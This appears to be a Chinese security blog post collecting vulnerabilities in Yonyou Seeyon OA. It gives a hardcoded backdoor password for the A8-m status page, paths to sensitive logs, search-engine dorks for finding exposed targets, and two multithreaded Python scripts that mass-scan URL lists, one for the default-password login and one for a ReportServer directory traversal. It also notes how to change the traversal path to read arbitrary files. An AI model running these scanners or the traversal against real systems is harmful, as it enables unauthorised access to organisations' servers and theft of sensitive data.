用友致远OA协同管理软件为企事业组织提供了一个协同办公门户和管理平台,涵盖了组织运营涉及的协作管理、审批管理、资源管理、知识管理、文化管理、公文管理等内容,支持企事业组织的信息化扩展应用,能有效帮助组织解决战略落地、文化建设、规范管理、资源整合、运营管控等难题,是组织管理的最佳实践。
产品系列: A3、A6、A8 品牌: 用友 对象: 微型、小型企业、企业部门级
致远OA A8-m 存在状态监控页面信息泄露,攻击者可以从其中获取网站路径和用户名等敏感信息进一步攻击
致远OA A8-m
title=“A8-m”
访问监控页面
/seeyon/management/status.jsp 后台密码为 WLCCYBD@SEEYON 登录后通过如下url获得一些敏感信息
/seeyon/management/status.jsp
/seeyon/logs/login.log
/seeyon/logs/v3x.log
思路:python post发包登陆,头部location:会进行跳转以及状态码一般为302
# -*- coding: utf-8 -*-
'''
@Time : 2023-03-18 11:14
@Author : whgojp
@File : POC.py
'''
import requests
from threading import Thread
THREAD_NUM = 10
password = 'WLCCYBD@SEEYON'
with open('urls.txt', 'r') as f:
urls = [url.strip() for url in f.readlines()]
def check_url(url):
if 'https' not in url:
url = 'http://' + url
try:
# 发送POST请求
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36',
'Accept-Encoding': 'gzip, deflate',
'Referer': url + '/seeyon/management/index.jsp',
}
response = requests.post(url + '/seeyon/management/index.jsp', data={'password': password}, headers=headers,
allow_redirects=False)
# 判断是否登录成功
if response.status_code == 302 and 'Location' in response.headers and response.headers['Location'].endswith(
'/seeyon/management/status.jsp'):
# 登录成功,输出URL
print(url + ' is vulnerable')
with open("result.txt", "a") as f:
f.write(f"{url} is vulnerable.\n")
else:
# 登录失败
pass
except:
# 出现异常
pass
threads = []
for i in range(THREAD_NUM):
thread_urls = urls[i::THREAD_NUM]
thread = Thread(target=lambda urls: [check_url(url) for url in urls], args=(thread_urls,))
threads.append(thread)
for thread in threads:
thread.start()
for thread in threads:
thread.join()
通过使用存在漏洞的请求时,会回显部分用户的Session值,导致出现任意登录的情况
app=“致远互联-OA”
致远OA 帆软组件 ReportServer接口存在目录遍历漏洞,攻击者通过漏洞可以获取服务器敏感信息
致远OA 帆软组件
title=“致远A8-V5协同管理软件 V6.1sp1”
# -*- coding: utf-8 -*-
'''
@Time : 2023-03-20 16:53
@Author : whgojp
@File : POC.py
'''
import requests
import threading
def check_url(url, counter):
if 'https' not in url:
url = 'http://'+url
try:
url = url + '/seeyonreport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../¤tUserName=admin¤tUserId=1&isWebReport=true '
response = requests.get(url, timeout=5)
if response.status_code == 200:
print(f"{url} is accessible.")
with open("result.txt", "a") as f:
f.write(f"{url} is accessible.\n")
else:
pass
except requests.exceptions.RequestException as e:
pass
counter[0] += 1
print(f"Scanning progress: {counter[0]}/{counter[1]}")
urls = []
with open("urls.txt", "r") as f:
for line in f:
urls.append(line.strip())
threads = []
counter = [0, len(urls)]
for url in urls:
thread = threading.Thread(target=check_url, args=(url, counter))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
如果要读取文件进行目录遍历,只需要更改file_path就行了
待续